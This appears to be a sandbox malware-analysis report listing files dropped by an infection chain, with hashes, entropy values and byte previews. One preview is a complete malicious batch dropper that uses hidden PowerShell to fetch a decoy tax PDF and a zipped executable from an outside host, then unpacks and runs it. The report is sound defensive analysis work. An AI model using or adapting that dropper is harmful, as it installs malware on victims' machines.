                                SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                MD5:62D09F076E6E0240548C2F837536A46A
                                SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 0%
                                Joe Sandbox View:
                                • Filename: c2.hta, Detection: malicious, Browse
                                • Filename: RisingStrip.exe, Detection: malicious, Browse
                                • Filename: Active_Setup.exe, Detection: malicious, Browse
                                • Filename: CenteredDealing.exe, Detection: malicious, Browse
                                • Filename: CenteredDealing.exe, Detection: malicious, Browse
                                • Filename: over.ps1, Detection: malicious, Browse
                                • Filename: MatAugust.exe, Detection: malicious, Browse
                                • Filename: 6684V5n83w.exe, Detection: malicious, Browse
                                • Filename: vlid_acid.exe, Detection: malicious, Browse
                                • Filename: AquaPac.exe, Detection: malicious, Browse
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                File Type:data
                                Category:dropped
                                Size (bytes):733484
                                Entropy (8bit):7.999727303580045
                                Encrypted:true
                                SSDEEP:12288:7EjETXeEPYtANOcxShg6LO5mrcPIez2EsXwEA0cIYJU9YoULsEpW2bhhbaIkJflE:7EE9Iln+6LcmoPIezgAv0JioULJpph93
                                MD5:C82D57C04AAD2BD54DFEED7CBFEE8ECB
                                SHA1:C564CFCA3BCC3A26128917C94AB4E44F9CD25BBE
                                SHA-256:4E285732BD17A06AE4BE71BEAAD8E5CE4DBD211F2888B4571D5D0C716764C767
                                SHA-512:9D3102EFB33D4B5A510D24D1B7F313C66CB502B6B7572EF2C10538D3B48B8D63D7CAD41E5B9596181B142A7FDFD27727C6541A55307B4C4F793B957ACD7ECEDB
                                Malicious:false
                                Preview:.....#.<....d.Dm{R..fR.@^..J"..H$.|...H.[.....#*W..br'..Y.$y.l...wFU..9..aQ8.r...e...H(..y..'...u/(..c.!$..x.\z..g.d.j.....xe.J><5...S=&....L.'.D\Nm..N.....k.L..b D.".<)\_.t.....4.s.6*...o=.Y....c..!T.D..aI.0.x.vC.Q,.].I^...E.5....`..y...y..!.d7..n....FW.....IO..c.D..|.-Q.C'.#.`.))..:..@~.j.L/9.Z~........0..:Q. %..).*w%.l)...5%..l..7q.....F0.T..>GU..P.DA.]..f......BMv$.g2g<u.....O...../.0N...c..H.%........Q.....&@p...OE..R..:.g....p'.Y.+.^........*......k.1..".S.....>.A.4^.....9..).=?`....]..:.nF.....Ty.k..t..lK.*.^.....:E...u-_.1&T<...p.._..a..u..{g....4..fF,.:%...../..*T&.......hB;.......3'.<p".u..7.ju...c.f(pTp.I./...r,.X.....f...........I...E.'pji.d....B.N<..P..5p.q]...:.1Xj.:.>.E..J..l.Z.H!r'hJ....".(.S...`..AIe.b&B..p....#.. 6..2...#.....D.(.X.AZ...%8;b..~*K..d.ja0..n..jU8.G.8.u..3....h.g.LB...._".&{...ggaF..X.0..u]..#...g6+..GR.i.?..Y.( Lv..0.........1<..<...$.'......l.).....]....}(..(.q...fJp..9,....U...@....e..-....WJv]..C1u

                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\c2[1].bat

                                Download File
                                Process:C:\Windows\SysWOW64\mshta.exe
                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):498
                                Entropy (8bit):5.198499125177484
                                Encrypted:false
                                SSDEEP:12:wmDU081kkGrAOtD0OO081kkGVX5OQ981kvYX53RP:wmD7RrAO90OxRxUkvYX53RP
                                MD5:E8DFDB915A523A09E139AAA900991DDD
                                SHA1:D23F4798C549BFB7DDD968C4C2A971F67468A662
                                SHA-256:91619737B3F7AF4623DC62B4F3DF7B551337EC94F693A3B9BA35BB231483393E
                                SHA-512:B4E737D1C80420688BF856DF02A580B691D120307B7D31EA4766448CCD0C6EEC7B2C48424691E92DFFBA58CA8C9A8DF989F5B683D9363CAC37D3DD3E5AD1623E
                                Malicious:true
                                Preview:@echo off..set url=https://myguyapp.com/msword.zip..set url2=https://myguyapp.com/W2.pdf..powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url2% -OutFile %USERPROFILE%\Downloads\W2.pdf"..cd %USERPROFILE%\Downloads..start W2.pdf..powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url% -OutFile %temp%\msword.zip"..powershell -WindowStyle Hidden -Command "Expand-Archive -Path %temp%\msword.zip -DestinationPath %temp%\msword -Force"..cd %temp%\msword..start msword.exe

                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):963
                                Entropy (8bit):5.019506780280991
                                Encrypted:false
                                SSDEEP:12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzd:qlupdRNuKyGX85jvXhNlT3/7AcV9Wro
                                MD5:7459F6DA71CD5EAF9DBE2D20CA9434AC
                                SHA1:4F60E33E15277F7A632D8CD058EC7DF4728B40BC
                                SHA-256:364A445C3A222EE10A8816F78283BBD0503A5E5824B2A7F5DCD8E6DA9148AF6A
                                SHA-512:3A862711D78F6F97F07E01ACC0DCB54F595A23AACEA9F2BB9606382805E1E92C1ACE09E1446F312F3B6D4EE63435ABEF46F0C16F015BD505347A1BCF2E149841
                                Malicious:false
                                Preview:{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):21979
                                Entropy (8bit):5.049158677118914
                                Encrypted:false
                                SSDEEP:384:aPVoGIpN6KQkj2qkjh4iUxehQVlardFWgxOdB2tAHkDNXp5pNSSme+vOjJiYo0ik:aPV3IpNBQkj2Ph4iUxehYlardFWgxOdm
                                MD5:E85ADBB7806D6C2B446681F25E86C54E
                                SHA1:7945DA1DD2CC4F96AD9DD6E40803842C3497B0C0
                                SHA-256:1DE8C1E231A1C77FB42123C0362070540F9692F0A3E4EA5141C6F8EE8DE8EBF5
                                SHA-512:D60A6998458E9D2FB6F6345306DA7CB679E8A8202270B1C31519FFD017C102D7B46A7FD98011577784E2ADA33C0FCCA138EA1BB68C4260E45FA3BAFC307A60D3
                                Malicious:false
                                Preview:PSMODULECACHE.......CB.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem...............?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet..........?T.z..C...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\iSCSI\iSCSI.psd1........Register-IscsiSession........New-IscsiTargetPortal........Get-IscsiTarget........Connect-IscsiTarget........Get-IscsiConnection........Get-IscsiSession........Remove-IscsiTargetPortal.....

                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):64
                                Entropy (8bit):0.34726597513537405
                                Encrypted:false
                                SSDEEP:3:Nlll:Nll
                                MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                Malicious:false
                                Preview:@...e...........................................................

                                C:\Users\user\AppData\Local\Temp\677826\N

                                Download File
                                Process:C:\Windows\SysWOW64\cmd.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):733484
                                Entropy (8bit):7.999727303580045
                                Encrypted:true
                                SSDEEP:12288:7EjETXeEPYtANOcxShg6LO5mrcPIez2EsXwEA0cIYJU9YoULsEpW2bhhbaIkJflE:7EE9Iln+6LcmoPIezgAv0JioULJpph93
                                MD5:C82D57C04AAD2BD54DFEED7CBFEE8ECB
                                SHA1:C564CFCA3BCC3A26128917C94AB4E44F9CD25BBE
                                SHA-256:4E285732BD17A06AE4BE71BEAAD8E5CE4DBD211F2888B4571D5D0C716764C767
                                SHA-512:9D3102EFB33D4B5A510D24D1B7F313C66CB502B6B7572EF2C10538D3B48B8D63D7CAD41E5B9596181B142A7FDFD27727C6541A55307B4C4F793B957ACD7ECEDB
                                Malicious:false
                                Preview:.....#.<....d.Dm{R..fR.@^..J"..H$.|...H.[.....#*W..br'..Y.$y.l...wFU..9..aQ8.r...e...H(..y..'...u/(..c.!$..x.\z..g.d.j.....xe.J><5...S=&....L.'.D\Nm..N.....k.L..b D.".<)\_.t.....4.s.6*...o=.Y....c..!T.D..aI.0.x.vC.Q,.].I^...E.5....`..y...y..!.d7..n....FW.....IO..c.D..|.-Q.C'.#.`.))..:..@~.j.L/9.Z~........0..:Q. %..).*w%.l)...5%..l..7q.....F0.T..>GU..P.DA.]..f......BMv$.g2g<u.....O...../.0N...c..H.%........Q.....&@p...OE..R..:.g....p'.Y.+.^........*......k.1..".S.....>.A.4^.....9..).=?`....]..:.nF.....Ty.k..t..lK.*.^.....:E...u-_.1&T<...p.._..a..u..{g....4..fF,.:%...../..*T&.......hB;.......3'.<p".u..7.ju...c.f(pTp.I./...r,.X.....f...........I...E.'pji.d....B.N<..P..5p.q]...:.1Xj.:.>.E..J..l.Z.H!r'hJ....".(.S...`..AIe.b&B..p....#.. 6..2...#.....D.(.X.AZ...%8;b..~*K..d.ja0..n..jU8.G.8.u..3....h.g.LB...._".&{...ggaF..X.0..u]..#...g6+..GR.i.?..Y.( Lv..0.........1<..<...$.'......l.).....]....}(..(.q...fJp..9,....U...@....e..-....WJv]..C1u

                                C:\Users\user\AppData\Local\Temp\677826\Prostores.com

                                Download File
                                Process:C:\Windows\SysWOW64\cmd.exe
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                Category:modified
                                Size (bytes):947288
                                Entropy (8bit):6.630612696399572
                                Encrypted:false
                                SSDEEP:24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
                                MD5:62D09F076E6E0240548C2F837536A46A
                                SHA1:26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
                                SHA-256:1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
                                SHA-512:32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
                                Malicious:true
                                Antivirus:
                                • Antivirus: ReversingLabs, Detection: 0%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\Alcohol

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):51200
                                Entropy (8bit):6.704539217194939
                                Encrypted:false
                                SSDEEP:768:9pQLiype/ehju5rWiq/DOSOlwRDNFoDu+XdoXSMf17+sVXnQkdFLILu8rbPDmhdu:9eOypvcLSDOSpZ+Sh+I+FrbCyI7P4CK
                                MD5:DD266093B6C3933B83753002FA856A2E
                                SHA1:39D54DC7D7DC9A7C7DD626046096730E730C22D4
                                SHA-256:5FD8ED3BCC118A3E4DA9669B07497F3933245FDF4451276394858022E8F867BB
                                SHA-512:A6CAB1788FBCE3DC329F84B2CFE034D67CE909A0DCF871F22E51AD11E17A26201F894280568FA46C2DCFFA74CD6E9BE4287201617288A1C171DEDF52F370B7C5
                                Malicious:false
                                Preview:..x.........} .......0f......Q.u..u.j..p.......]..M ..`+J................}.3.VS.].WS.u.ja.u..X........u.............P...WSh.&J..:...V.u.WS.u.jb.u..".....(..t.WSh.&J......V.u.WS.u.je.u........(..t.WSh.&J......V.u.WS.u.jT.u........(....z...WSh.&J......V.u.WS.u.jY.u.......(....j....K...S.u.3....u.....u.P.u............&....u..u.h.&J..l...S.u..u..u.j..u.......$.E..H...xC....>.u..E..u........./............E..H...x.......u..E..u.......................!..2......E..H....|.....} ......$ f....P.u..u.j.Q.D....u..u.h.&J..|.....w..b...t...p......H...tZH...tD...u..E..H.....w........n.....u.f..uu.j.Y.} ......$0f....P.u..u.j...u..u.h.&J.......u..u V..`+J........}..].WS.u.jI.u.................WSh.&J.......u VWS.u.jM.u........(........WSh.&J.......u VWS.u.jS.u.......(...._...WSh.&J......u VWS.u.jp......u..u..u.jX.u..............E..@.....j........a.......E.....L.......P....u..u.P.......x....................4.......E.3.P.u.....Y.........E.9p t .E..u.P...Y.........M..M..M....M....3.+.j<^.

                                C:\Users\user\AppData\Local\Temp\Charged

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):92160
                                Entropy (8bit):7.998070494541723
                                Encrypted:true
                                SSDEEP:1536:164/pznuZpMquK4j4dDY6M6Kio9mtkSE5U7rHuBEeiXzqLd/R9+1V4Lm2etN0:84B6pMquTQY6M9iAtSEfBrieLd59+MLj
                                MD5:21A1CAF7906CD79FA2F0C1CCB065C02F
                                SHA1:35D20FB034F3587773695FBE05FB0984BE7CC12C
                                SHA-256:0817E365A8A9BD66F18EBC955AF76D00EA70071573952988E9701F5944B12EC8
                                SHA-512:4952E631E2B98F19CD4952F8F4CA7B422025E6111678A3AEE94197FD7E7B2F6DA5C8761CE9A9F2EC909F184B9172275C11A21CB430B6D90171115005D5733E59
                                Malicious:false
                                Preview:.....#.<....d.Dm{R..fR.@^..J"..H$.|...H.[.....#*W..br'..Y.$y.l...wFU..9..aQ8.r...e...H(..y..'...u/(..c.!$..x.\z..g.d.j.....xe.J><5...S=&....L.'.D\Nm..N.....k.L..b D.".<)\_.t.....4.s.6*...o=.Y....c..!T.D..aI.0.x.vC.Q,.].I^...E.5....`..y...y..!.d7..n....FW.....IO..c.D..|.-Q.C'.#.`.))..:..@~.j.L/9.Z~........0..:Q. %..).*w%.l)...5%..l..7q.....F0.T..>GU..P.DA.]..f......BMv$.g2g<u.....O...../.0N...c..H.%........Q.....&@p...OE..R..:.g....p'.Y.+.^........*......k.1..".S.....>.A.4^.....9..).=?`....]..:.nF.....Ty.k..t..lK.*.^.....:E...u-_.1&T<...p.._..a..u..{g....4..fF,.:%...../..*T&.......hB;.......3'.<p".u..7.ju...c.f(pTp.I./...r,.X.....f...........I...E.'pji.d....B.N<..P..5p.q]...:.1Xj.:.>.E..J..l.Z.H!r'hJ....".(.S...`..AIe.b&B..p....#.. 6..2...#.....D.(.X.AZ...%8;b..~*K..d.ja0..n..jU8.G.8.u..3....h.g.LB...._".&{...ggaF..X.0..u]..#...g6+..GR.i.?..Y.( Lv..0.........1<..<...$.'......l.).....]....}(..(.q...fJp..9,....U...@....e..-....WJv]..C1u

                                C:\Users\user\AppData\Local\Temp\Chief

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):138240
                                Entropy (8bit):5.980191824734651
                                Encrypted:false
                                SSDEEP:3072:Y0ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbjaAtsPI:YV14ZgP0JaAOz04phdyQ
                                MD5:5D7F155185B7B7CE52433DF0895CD254
                                SHA1:3DCF933C6895B843DBA20447C21F673F83EAFA9D
                                SHA-256:EEA2D5CFCF7311B8E926741CA23552D11D43049753BBB2EFD835A6E7CA9FB396
                                SHA-512:29A0603A0AF8E8E0D9A8E8A414D91EDCBF6E5236D8F4A1496EC84DB26DCEC2CFCAE133BB33AE87CCBB6442F54ABFE8CA450CF65515EC587BF551B583828A3318
                                Malicious:false
                                Preview:t.P.e........u..'.....2._^]....y,.t..A0.I,V.0.....%T5M....^.y..u%.=L*M..u..T5M...d}.@.T5M.j...j...|.I.3..U..}..t..u...(M..W......L)M.....L)M....u.3..-.@)M.Wj.......8W..\.I..M.j.W....\.I..M._..3.@]...U..)M....VW.}..E...t7..99t..@...M..y..u..E...)M.P......P.....;.tGQ....9...=.u..~..u.3..3.M..~:...E.}.;.t.V....9...E.)M.P.;....M..{8..3.@_^....U..}..t..u...(M..c......L)M.....L)M....tY.@)M.V....0.F...t.9..)M.u....)M...F.P..<.I..f...}..t#.u..u...@.I..F...4.I.9.u..L)M...)M.^]...U..}..t..u...(M........L)M.....L)M....u.3..-.@)M.......E..AX.E..A\.E...~..A`.E...~..Ad3.@]...U..}..t..u...(M..{......L)M.....L)M....t$.@)M.j.j.j ......E..1.A..E..A.....I.]...U..}..t..u...(M..(......L)M.....L)M....u.3..h.@)M..E.....L.V.....0....D{....L..8....F|....E....t........E....t........Nl;M.t..u...7...E.......3.@^]...U..Q.}..t..u...(M.......L)M.....L)M.VW..........@)M.j.....0..P.E...\.I..}......#.+.....@.E....t.Wj..u...@.I...tb.}..t..u.j..u...@.I...tJ.~8.t?.....3.#.;....9E.t.j.;.u...L.I..FH

                                C:\Users\user\AppData\Local\Temp\Controversy

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):55296
                                Entropy (8bit):7.996221667590853
                                Encrypted:true
                                SSDEEP:1536:5vS3nn2ZA7/kkNlk59NouS6HSV4y7ugw7wU140:5vSGZAzkkjkPNxS6HSGaugwz
                                MD5:9AB6CC30C12CEB5D4F1BB3A55D4FE455
                                SHA1:74C250C42E24E6DF717B49A4BED3729EB9064CAD
                                SHA-256:3A83E692C74855B6DC24C7067D4308031310A678E4C57EF45E7D3EC9256844A1
                                SHA-512:C96341AFA3630FA9212FF91D860CBFD37D135C52386A316C3B161BC0DF307486D4BF19FB7023532AE26380643F010BD7427BA5AB3768EE3E3F6D4BDD09921144
                                Malicious:false
                                Preview:.C|,..X@`.C(r...E...q.[$.t.'.:..j...-....`./].....KD. .G+..... VP&.G.\..AH....^............f...M...&.......EAU........,.3A..e.....r...k.4..{.o..K.7}.".....[.Dq0Gu.. w..&.Q.bpF..._2..bt.DJ.cc....f^.?.O...pL.s^..-d.......|..v.......T.:.....J-0........qB.%.........j...sr.n.+.j........n.....V..~..&.....i..w5}..u....F...*....5d....rT.......;..)Omq........s.gIt..H..g.j/.......<..........T.)..B.&.....<..;KG.R....:s._.v.07..Vl.&:..Y.%...'.ljnw.t.`Vq..qE.b5J. 0.. .B .].A..n. ].7..{........x.?<.'.fX...:....m.......n.+ .kr...**.&{.M...`..a,X=;..:6Z.......3}...V.3...,..h..1d.....K..N<~.... .9...xHnF...X9...!...=.'V.Auy. ...e.........!..U..R...L../.....l#..o..:m7_gC.e.*...e.@...X...V.NCK..|..3..zER):.pt....M...!r_I...(...D./.V.U.i.7..I.I...[P..s...9..~)..UK5.}e.~..%.q..@,...._...$>..H...J..Dpj.1.........!...<.q...._*..C.\...V..o.......`%l.>&._`9.Y.......m.R..E.?.(.J%Oy.....3. ..P.z7..[v..z...h.....qiM.! .vo..9...zb....h........@.&..

                                C:\Users\user\AppData\Local\Temp\Corporate

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):97280
                                Entropy (8bit):6.581173789840171
                                Encrypted:false
                                SSDEEP:1536:A6GMKY99z+ajU1Rjv18fRQLTh/5fhjLueoMmOrrHL/uDoiouK+r5bLmbZzW9FfT+:AypIbv18mLthfhnueoMmOqDoioO5bLeF
                                MD5:459740D3AA55D6BB677047A043A11049
                                SHA1:20002F1D45FEA6EED6AFF3EAD22CFF091D78B41A
                                SHA-256:4C4F6EF591CDD3D235FE09DF1A90CD5AF14C756A908BE132C13A9EDE2B7A900D
                                SHA-512:B51D14C8DA04FFF2ED8D309B643A91F679BF2A31638B8E91B7DE9BB7CFE7F3AA8590432B685621B871A004DE2D8AEAFC0CCF057AE5F55BCB0661C7172105CB34
                                Malicious:false
                                Preview:...N........t$...........j.W.t$ ...t$(.C%.............C..0......N........L$........n..._^3.[..]...U..E.V.@..0...~....F.... .....u..u....F....&..F.....3.^]...U...TSV.5,.I.3.Wh....S....h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...h....S.E...E.E.P.E.........I...uN.u....S......3.B.V....H..D9.8\9.t..@8.P..D9.8\9.t..@8.X...0.I.SP...H.....q.....E..t.;D..t.C...~..u....~............F......._^3.[....U... SVW.E...P....I...4.I.P.E.P.......@....E..}.)E..E.)E.....u`.M...t..3..j.CSV.Rz...M..E.3..M.WSPV.}.]..(.......M..]....E.S.E..E.SPV.}.]..........M..:....~.G....?.....u....H..|1...D1.t..@8.@......|1...D1.t..@8.@...B......u..u...}.......F......!.G........3.C;.u..u...}......^..>_^3.[....U..V.u....W...~..u..F..H.....V.j.P.J..2.p...P...h...P....".._3.^]...U..E.V.@..0...x....F....L.....u..u....@....&..F.....3.^]...U..Q.E.SVW3..M.G.x..r..@..H..........~O.E.3..~F.@..0........F

                                C:\Users\user\AppData\Local\Temp\Dealer

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):52224
                                Entropy (8bit):7.996119878250014
                                Encrypted:true
                                SSDEEP:768:U/Q+dzD31O3KAFDxDE5twt8C4wDBEZNBclMWOWQUvjBziwpfHS28mILe3VBGranP:U/Q+5MJFlMVCPGNelMUjtzpfl8HdCCS
                                MD5:9C9C85945089A8C81528A6B23A209E20
                                SHA1:599E249D010D0A40F3914D82AF710C655A1DA778
                                SHA-256:71E8E4C78A2238179F1D01D2C280CAF8CCA1B62379C51FCEA39FAB2800990D5C
                                SHA-512:26159EF952317A38560F91D10CCF89F9C652CFEFC73A15681F3554F36AE53326322ABB3466900466DBD0868971DF7A9D1C2D718FACFE87BECD13B7390438E9F0
                                Malicious:false
                                Preview:......CC...m..Y..#. .=..C.r.t...I$.#...l.7.-_..E8 ..x9....k.V9.'."..1...D".?.3z|...\.. v...S.(..n.`)=/...cVF..S...gd`.Zs|=... .%.X59.MW.]....Nk....fSN.f.F..uB..`.CE...].j#.....P?cl.<...0.2.!..t!...C.V..8O.7W...yqpy.v...#{dW.E......fm.+.W.b.OOm....{,.~....m.e.......HX.....M.c..c%.eb...O..U..._....n..v....=T..^.K...b.0.M_..F(......C...S..^..*.R|....D..4...H~.9t;..^.4..3..n......V;|.&M.s...yc...pls...R.`.`L..s..Vm.]...Q...w.<..1p......~8..^e.U...6...$....k....`.:E.{,......s..G~.W`c...\........A.P.^.......i..P)..N.&p.N.,.....#<}.w..j).c1....c.......;[.......,S.....d-R......Y.._J.1..h......{nRh.j..Q.......... _......_C.t.1...........T...h.`.*..e.....4.6<r.z[.Q..W ?X5.pHeg..RA.m7.:....5.NnPC.N],.s_.n..$.y.eL.S>..c.W.&o|.Q.u.;..jb.l.Y.]...NY.!.!{?.........E.......+.x.W.X.)q.........(.y....'.>..........;."8..S.C...s.Oys....d.m)..m...su.|...9..W=.....n...?.rBqV.&..`'../........Xt....t.wc..U......H.C...}.E..TFk.[.3.Te.X....}1...{.[.n.V.. {.Rwt..Y.....

                                C:\Users\user\AppData\Local\Temp\Fig

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):55296
                                Entropy (8bit):7.996893434432179
                                Encrypted:true
                                SSDEEP:1536:Af058ph2Px8y8B71tsH84JDXInbJUYQkOy8n20NaupzF:Ae62my8Z1gLDXInbhQkOyA208upzF
                                MD5:C7C08C021E27B2EEB0824937A10AC43D
                                SHA1:3FFEC4974BCCF5A2CB9AD02411DBAD5B62F810A1
                                SHA-256:4F6A15C2BC947318BA8BCCF9BE0948BCCB6740D1F06CCD5ECF9296609166E524
                                SHA-512:0B539D2800C0FF28841F478368838B12CEE02019145275432CC7FD9767BCED34F444D1C77C50804DA36E00942FB19AC0AC65C73918D7F2E96EF77EBA28387D14
                                Malicious:false
                                Preview:Y..y.Y.X..(..C..m.pP..1.W.6.Xc.sI......daE..Z.y.>.U!....-...LX.vgm._U....{XU..!T..&..j:&...........!W..^Lh.[..}..........-.o.|2=#..c...~.I..|K.<Uj.z0..(.KZ.e......%~GL...E..j..M..L..2.KC.....(7.E.v!...".....(IW)..T.w.... ..Uk..^:.Tx/f..$oY.)N)..:LW].g.>...g.....(...(C.<f...6..`D.r..../w.-..I...0..=........S....d.0...W{.....RB...R.g..z....TM.dM:m....P...!3.;.i.!W.~.e.'........u...a...ajF.[M.Oj}..4...n.r..q].xT.6...{.I..)`....jiJ..2.U`......{..}..........X.U.md..,.U .9|W.=.V.1Yx..,..%....t.8...G..G..D..O..S{.;oq<,xW...p,.B.....F..$MR....@"/...D.^....b..)^[.AI......b....(zn8.1.X5..'...|.1j..=''XD...Yumt..Of..b>.....O"Of~..x..3j..'eW.V....K.LB ...i..R...u......KN.#...pf).....p.Q..D=g......:......r..[.f.n.....*D-#?...g..3....;%.y5kL...8s.....J/.......#.oY$..^Z.@B.[...V.B..B[s.a.Y.).q.".O.......u...&...<{..r.1J...'G.2....MFN...'.1.C..3!...b..^...d..........>q....x..W...LH.{..G.v..l.&|o.Z.T.un.K....E^......C.6.*xcu...@.#u....*.f..Y.....1.

                                C:\Users\user\AppData\Local\Temp\Hearings

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):117760
                                Entropy (8bit):6.296704167940761
                                Encrypted:false
                                SSDEEP:3072:SZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laWq:SK5vPeDkjGgQaE/lM
                                MD5:1D1169E8E8C0DE7A5E7E1BABD8470DD6
                                SHA1:4406EB665FC118B1767464F0CE2484C97EB4880B
                                SHA-256:F20431C1D82AB151DDE7271CD37A6F208FCD45272D9A83980CCC3DD72D704F40
                                SHA-512:4E7562F6102F1265BF5C64509ADC68769680110BFDD2333C977A3404CEA3D014960EF1BE276BFF241761C9E5135711D2DBA53980E5BB6EA83375E1951ECCD351
                                Malicious:false
                                Preview:MechanicalDlModularRuSchedulingVisibilityProposalsClimb..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.......................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\Larger

                                Download File
